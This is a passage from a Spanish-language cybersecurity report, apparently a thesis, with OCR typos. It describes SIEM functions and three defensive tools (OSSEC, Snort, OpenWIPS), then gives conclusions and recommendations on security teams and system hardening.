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4.5 Caracteristicas y Funciones principales de un SIEM

Definicion SIEM: Modelo informatico, que permite realizar el proceso de
seguridad de la informacioén y la respectiva gestion de ventos. Tiene como
principal objetivo detectar amenazas que se presenten en las organizaciones
de manera potencial y resolverlas de manera eficiente en un corto tiempo.

Figura 74 Funciones y caracteristicas principales SIEM.

FUNCIONES PRINCIPALES.

e Permitir resolver de manera eficiente y eficaz a cualquier tipo de amenaza.

* Analizar en tiempo real ataques que se presente en el hardware y/o
software, alertando segun el progreso de la amenaza.

* Detectar amenazas, ataques, vulnerabilidad, mal uso del sistema de
informacién, precisando cual de ellos estan en mayor riesgo de ataque.

* Minimizas la afectacidon del ataque en tiempos cortos.

* Visualizar los proceso y procedimientos de la seguridad en los sistemas
teleinformaticas.

CARACTERISTICAS PRINCIPALES.

* Herramientas contra amenazas: Implementar aplicaciones para la
seguridad.

* Monitoreo: Convergencia de aplicaciones, fuentes de datos e interfaz,
para anadlisis de la informacion

* Usuarios: Socializa infraccion de politicas de seguridad, bloqueos vy
desbloqueos de cuentas, cambios en privilegios, entre otros.

* Caracterizacion: Identificaciéon de eventos discretos, comportamientos
sospechosos, concordancias en listas blancas, entre otras.

* Administraciones incidentes: Notifica a los usuarios precisos, procesos de
configuracion de aletas y acciones automatizadas.

* Contexto de amenazas: Valida eventos sospechosos para ser evaluados y
priorizar el de mayor impacto y riesgo.

* Riegos de datos: Recolecta informacion total del caso generado, ya que
permite manejar cantidad de bases de datos.

Fuente: Autor
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4.6 Caracterizacién de 3 herramientas que permiten contener
ataques informaticos.

A continuacion, se presentan 3 tipos de herramientas que permiten realizar la
contencién del ataque, permitiendo la minimizacion del impacto y del riesgo de
pérdida o modificacion de la informacion en el sistema de la organizacion.

e OSSEC: Permite realizar analisis en el registro de la informacion,
identifica y caracteriza la integridad e informacion de las alertas que se
presenten, admite realizar la administracion del sistema a partir de su
monitoreo, puede realizar cualquier tipo de deteccion de ataques para la
mayor parte del sistema operativo.

e SNORT: Permite realizar analisis y registros de los paquetes en tiempo
real; logra identificar ataques DoS y DDoS. Su utilidad principal es
detectar exploits y exploracion de puertos. Analiza el trafico de la red y si
existe algun tipo de amenaza bloquea el ataque.

e OPENWIPS: Permite la deteccidon y prevencion de ataques en el sistema
inalambrico que se presenta en sensores donde se detectan amenazas,
manejo de trafico para su andlisis y caracterizacion del sistema de
seguridad; interfaces de red inalambricas permitiendo analizar ataques
que pueda ser expuesto; y servidores que se generan las aletas y
respuesta ante algun tipo de amenaza, permite analizar la informacion
envida por los sensores.
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CONCLUSIONES

Luego de haber realizado los procesos de andlisis, caracterizacion,
fundamentacion estratégica y ejecucion de pruebas con equipamiento de
ciberseguridad para procesos Red Team y Blue Team, se pueden estructurar
conclusiones importantes, con el fin de organizar y afianzar conocimientos
desde las perspectivas y enfoques de la ciberseguridad:

v' Toda Empresa de dependencia nacional o internacional, debe contar
con una estructura organizacional y de gestion sobre procesos de
seguridad de la informacion.

v" Conformar con personal especializado y cualificado en experiencias de
seguridad informatica, los respectivos equipos de Red Team y Blue
Team de la empresa, permitiendo tener un equipo sélido para resolver
atagues que atafian sobre la organizacion.

v' Diseflar e implementar medidas de seguridad que logre minimizar o
mitigar el impacto de atagues o amenas sobre el sistema informatico.
Dentro de las medidas de seguridad tendremos la activacion de
antivirus, activacion y actualizacion de firewall, activacion y actualizacion
de sistemas operativos licenciados, monitoreo y bloqueo de puertos,
desactivacion de cualquier tipo de acceso remoto y realizar la
configuracion adecuadas para entrega de permisos de seguridad
correspondiente a carpetas y/o archivos del sistema.

v Es importante tener claridad en el momento de seleccién de
herramientas de contencion, realizar el debido analisis de los factores en
riesgo del sistema, y fijando las capacidades de respuesta que se tienen
con respecto a incidentes que se presente en tiempo real, lo anterior
permite evaluar con certeza y eficiencia el proceso desarrollado por el
profesional de seguridad, como de la herramienta seleccionada para
ejecucion el procedimiento.
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RECOMENDACIONES

Siguiendo las sugerencias normativas y las estructuras del marco de seguridad
informatica, se plantean las siguientes estrategias que permiten endurecer los
aspectos de seguridad en la organizacion:

v' Contar constantemente con software de seguridad con activadores
licenciados y actualizados, ya que del 6ptimo funcionamiento que
presenten, se podran generar las estrategias de defensa contra
cualquier tipo de ataque.

v Generar politicas de seguridad en la organizacién, que permita socializar
con cada uno de los empleados la importancia de este sistema de
seguridad, mantener capacitaciones de actualizacion en normativas y
procedimientos  establecidos para la seguridad informatica,
contextualizar en las actividades desarrolladas en cada dependencia de
la organizacion la aplicabilidad del codigo de ética.

v Establecer procedimiento de monitoreo sobre manejo y actualizacién de
las herramientas que permitan deteccibn de vulnerabilidades,
explotacion y contencidn de ataques.

v Realizar configuracion de cuentas administrador/usuario adecuadas,
permitiendo a los trabajadores realizar sus labores diarias en cuentas
con acceso limitados. Bloguear o deshabilitar cuentas de administrador.

v Restricciones de instalacion de software sobre el sistema sin previa
autorizacion, permitiendo minimizar el impacto desde programas
maliciosos que solo buscan el robo de informacion.

v Instalar sistemas de seguridad como Antivirus, Antispam y Antispyware.
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